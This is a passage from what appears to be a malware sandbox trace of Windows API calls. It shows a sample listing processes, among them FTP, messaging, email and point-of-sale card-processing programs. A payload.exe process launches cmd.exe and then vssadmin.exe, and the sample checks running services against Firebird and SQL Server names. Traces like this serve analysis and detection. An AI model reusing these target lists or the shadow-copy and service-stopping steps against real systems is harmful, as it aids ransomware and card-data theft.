lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0035.670] lstrlenW (lpString="leechftp.exe") returned 12 [0035.670] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0035.670] lstrlenW (lpString="ncftp.exe") returned 9 [0035.670] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0035.671] lstrlenW (lpString="notepad.exe") returned 11 [0035.671] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0035.671] lstrlenW (lpString="operamail.exe") returned 13 [0035.671] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0035.672] lstrlenW (lpString="pidgin.exe") returned 10 [0035.672] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0035.672] lstrlenW (lpString="scriptftp.exe") returned 13 [0035.672] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0035.673] lstrlenW (lpString="skype.exe") returned 9 [0035.673] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0035.673] lstrlenW (lpString="smartftp.exe") returned 12 [0035.673] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0035.674] lstrlenW (lpString="thunderbird.exe") returned 15 [0035.674] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0035.675] lstrlenW (lpString="totalcmd.exe") returned 12 [0035.675] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0035.675] lstrlenW (lpString="trillian.exe") returned 12 [0035.675] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0035.676] lstrlenW (lpString="webdrive.exe") returned 12 [0035.676] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0035.676] lstrlenW (lpString="whatsapp.exe") returned 12 [0035.676] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0035.677] lstrlenW (lpString="winscp.exe") returned 10 [0035.677] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0035.677] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0035.677] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0035.678] lstrlenW (lpString="active-charge.exe") returned 17 [0035.678] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0035.678] lstrlenW (lpString="accupos.exe") returned 11 [0035.678] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0035.679] lstrlenW (lpString="afr38.exe") returned 9 [0035.679] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0035.679] lstrlenW (lpString="aldelo.exe") returned 10 [0035.679] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0035.680] lstrlenW (lpString="ccv_server.exe") returned 14 [0035.680] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0035.680] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0035.680] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0035.681] lstrlenW (lpString="creditservice.exe") returned 17 [0035.681] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0035.681] lstrlenW (lpString="edcsvr.exe") returned 10 [0035.681] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0035.682] lstrlenW (lpString="fpos.exe") returned 8 [0035.682] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0035.682] lstrlenW (lpString="isspos.exe") returned 10 [0035.682] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0035.683] lstrlenW (lpString="mxslipstream.exe") returned 16 [0035.683] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0035.683] lstrlenW (lpString="omnipos.exe") returned 11 [0035.683] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0035.965] lstrlenW (lpString="spcwin.exe") returned 10 [0035.965] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0036.005] lstrlenW (lpString="spgagentservice.exe") returned 19 [0036.005] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0036.006] lstrlenW (lpString="utg2.exe") returned 8 [0036.006] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0036.006] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0036.006] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0036.007] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0036.007] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0036.008] lstrlenW (lpString="notebook.exe") returned 12 [0036.008] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0036.008] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0036.008] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0036.009] lstrlenW (lpString="current.exe") returned 11 [0036.009] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.009] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.009] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.010] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.010] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.010] lstrlenW (lpString="taskhost.exe") returned 12 [0036.010] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.011] lstrlenW (lpString="dllhost.exe") returned 11 [0036.011] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.011] lstrlenW (lpString="dllhost.exe") returned 11 [0036.012] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0036.012] lstrlenW (lpString="payload.exe") returned 11 [0036.012] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.012] lstrlenW (lpString="cmd.exe") returned 7 [0036.012] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.013] lstrlenW (lpString="conhost.exe") returned 11 [0036.013] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0036.013] lstrlenW (lpString="vssadmin.exe") returned 12 [0036.013] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0036.014] CloseHandle (hObject=0x198) returned 1 [0036.014] Sleep (dwMilliseconds=0x1f4) [0036.854] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffcd0 [0036.854] EnumServicesStatusExW (in: hSCManager=0x8ffcd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0036.855] GetLastError () returned 0xea [0036.855] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x395a708 [0036.855] EnumServicesStatusExW (in: hSCManager=0x8ffcd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395a708, cbBufSize=0x11e4, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395a708, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0036.855] CloseServiceHandle (hSCObject=0x8ffcd0) returned 1 [0036.856] lstrlenW (lpString="Appinfo") returned 7 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.856] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.856] lstrlenW (lpString="AudioSrv") returned 8 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.856] lstrlenW (lpString="BFE") returned 3 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.856] lstrlenW (lpString="CryptSvc") returned 8 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.856] lstrlenW (lpString="CscService") returned 10 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.856] lstrlenW (lpString="DcomLaunch") returned 10 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.856] lstrlenW (lpString="Dhcp") returned 4 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.856] lstrlenW (lpString="Dnscache") returned 8 [0036.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.857] lstrlenW (lpString="DPS") returned 3 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.857] lstrlenW (lpString="eventlog") returned 8 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.857] lstrlenW (lpString="EventSystem") returned 11 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.857] lstrlenW (lpString="gpsvc") returned 5 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.857] lstrlenW (lpString="iphlpsvc") returned 8 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.857] lstrlenW (lpString="LanmanServer") returned 12 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.857] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.857] lstrlenW (lpString="lmhosts") returned 7 [0036.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.857] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.857] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.857] lstrlenW (lpString="MMCSS") returned 5 [0036.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.858] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.858] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.858] lstrlenW (lpString="MpsSvc") returned 6 